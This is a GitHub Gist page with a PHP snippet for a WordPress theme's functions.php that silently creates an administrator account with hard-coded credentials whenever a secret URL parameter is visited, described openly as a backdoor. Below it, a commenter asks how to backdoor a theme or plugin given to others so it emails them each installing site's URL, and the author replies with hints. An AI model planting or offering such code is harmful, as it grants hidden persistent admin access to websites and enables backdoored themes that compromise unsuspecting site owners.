Skip to content

Instantly share code, notes, and snippets.

@abid112
Created April 25, 2019 07:15
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save abid112/0a03c50678db2ba5f30a55b2291165a8 to your computer and use it in GitHub Desktop.
Save abid112/0a03c50678db2ba5f30a55b2291165a8 to your computer and use it in GitHub Desktop.
This is like a backdoor of your WordPress site. This lines of code will generate user, password as a admin role by URL hit.
//Hit this URL after put code on functions.php : http://www.yourdomain.com/?backdoor=knockknock
//It will create username= name ; password= pass ; role= administrator on your wordpress backend users.
//After that you can login on your site with this username and password.
//change the 'backdoor' , 'knockknock' , 'name', 'pass' string on your code as your desire texts
<?php
add_action('wp_head', 'wploop_backdoor');
function wploop_backdoor() {
If ($_GET['backdoor'] == 'knockknock') {
require('wp-includes/registration.php');
If (!username_exists('username')) {
$user_id = wp_create_user('name', 'pass');
$user = new WP_User($user_id);
$user->set_role('administrator');
}
}
}
?>
@azharanowar
Copy link

Hello, How can I add an email notification code in my theme or plugin... If I have a theme or plugin for everyone. I want to add some code to make a backdoor with email notification. If anybody installs my theme on her website I will get an email notification with her website name/URL. If you have those code kindly help me... I need to learn it also, Thank you

@abid112
Copy link
Author

abid112 commented Aug 10, 2020

Hi @azharanowar,
You can do it with get_bloginfo() and WP Email Hook

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment